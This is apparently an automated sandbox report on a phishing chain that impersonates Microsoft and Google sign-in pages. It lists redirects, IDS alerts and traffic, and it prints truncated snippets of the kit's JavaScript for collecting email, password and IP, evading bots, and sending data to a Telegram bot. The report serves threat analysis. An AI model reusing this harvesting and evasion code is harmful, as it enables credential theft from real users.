Edit tour

Windows Analysis Report
https://nrro.ogquwu.top/

Overview

General Information

Sample URL:	https://nrro.ogquwu.top/
Analysis ID:	1647351
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected BlockedWebSite

AI detected suspicious Javascript

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,3200412770660081883,9196511062937498215,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nrro.ogquwu.top/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_59	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security
dropped/chromecache_67	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

HTML

Source	Rule	Description	Author	Strings
2.6.pages.csv	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-24T18:18:38.929907+0100	1810007	1	Potentially Bad Traffic	192.168.2.16	49762	149.154.167.220	443	TCP
2025-03-24T18:18:39.295224+0100	1810007	1	Potentially Bad Traffic	192.168.2.16	49764	149.154.167.220	443	TCP
2025-03-24T18:18:40.669383+0100	1810007	1	Potentially Bad Traffic	192.168.2.16	49767	149.154.167.220	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://classntfst.shop/ne/	Avira URL Cloud: Label: malware
Source: https://nerhol.constructlonjproy.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://nerhol.constructlonjproy.com/cdn-cgi/styles/cf.errors.css	Avira URL Cloud: Label: phishing
Source: https://nerhol.constructlonjproy.com/cdn-cgi/images/icon-exclamation.png?1376755637	Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'oka.greenthreads.hr' does not match the legitimate domain for Microsoft., The domain 'greenthreads.hr' does not have any known association with Microsoft., The presence of a non-Microsoft domain with a Microsoft brand reference is suspicious., The input field 'Enter recipient email' could be used for phishing purposes, especially if the domain is not legitimate. DOM: 1.3.pages.csv
Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is classified as 'wellknown'., The legitimate domain for Google is 'google.com'., The provided URL 'oka.greenthreads.hr' does not match the legitimate domain for Google., The URL contains no direct association with Google, which is suspicious., The domain 'greenthreads.hr' does not appear to be associated with Google., The presence of an input field for 'Enter password' on a non-Google domain is a common phishing tactic. DOM: 1.5.pages.csv

Yara detected BlockedWebSite

Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_59, type: DROPPED
Source: Yara match	File source: dropped/chromecache_67, type: DROPPED

AI detected suspicious Javascript

Source: 1.11..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oka.greenthreads.hr/_next/static/chunks/pa... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and dynamic code execution. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious intent. The script also checks for bot activity and redirects users to a 'denied' page if detected. Overall, this script poses a significant security risk and should be treated as highly suspicious.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-2b6248c5408d9da6.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),r=n(2568),i=n.n(r),l=n(9812),c=n.n(l);let u=()=>{let[e,t]=(0,o.usestate)(""),[n,r]=(0,o.usestate)(""),[l,u]=(0,o.usestate)(!1),[d,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){u(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Javascript uses Telegram API

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-2b6248c5408d9da6.js

Source: https://oka.greenthreads.hr/

HTTP Parser: Number of links: 0

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nrro.ogquwu.top/

HTTP Parser: Base64 decoded: 1742836688.000000

Source: https://nrro.ogquwu.top/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-2b6248c5408d9da6.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),r=n(2568),i=n.n(r),l=n(9812),c=n.n(l);let u=()=>{let[e,t]=(0,o.usestate)(""),[n,r]=(0,o.usestate)(""),[l,u]=(0,o.usestate)(!1),[d,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){u(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found

Source: https://nrro.ogquwu.top/	HTTP Parser: No favicon
Source: https://nrro.ogquwu.top/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://nerhol.constructlonjproy.com/	HTTP Parser: No favicon

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.155.9:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.9:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.27:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.35.164:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.154.53:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.26:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.212.94.98:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.212.94.98:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.181:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.181:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.147:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49778 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49764 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49762 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49767 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.195
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles.css HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nrro.ogquwu.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /script.js HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nrro.ogquwu.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nrro.ogquwu.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1Host: nrro.ogquwu.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.03437329500068646:1742833486:iuQrk-AcpKdyZCap5AMcxFsdMyevLxwENAPso7axLao/9257d3764fced911 HTTP/1.1Host: nrro.ogquwu.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/get_doc_url HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
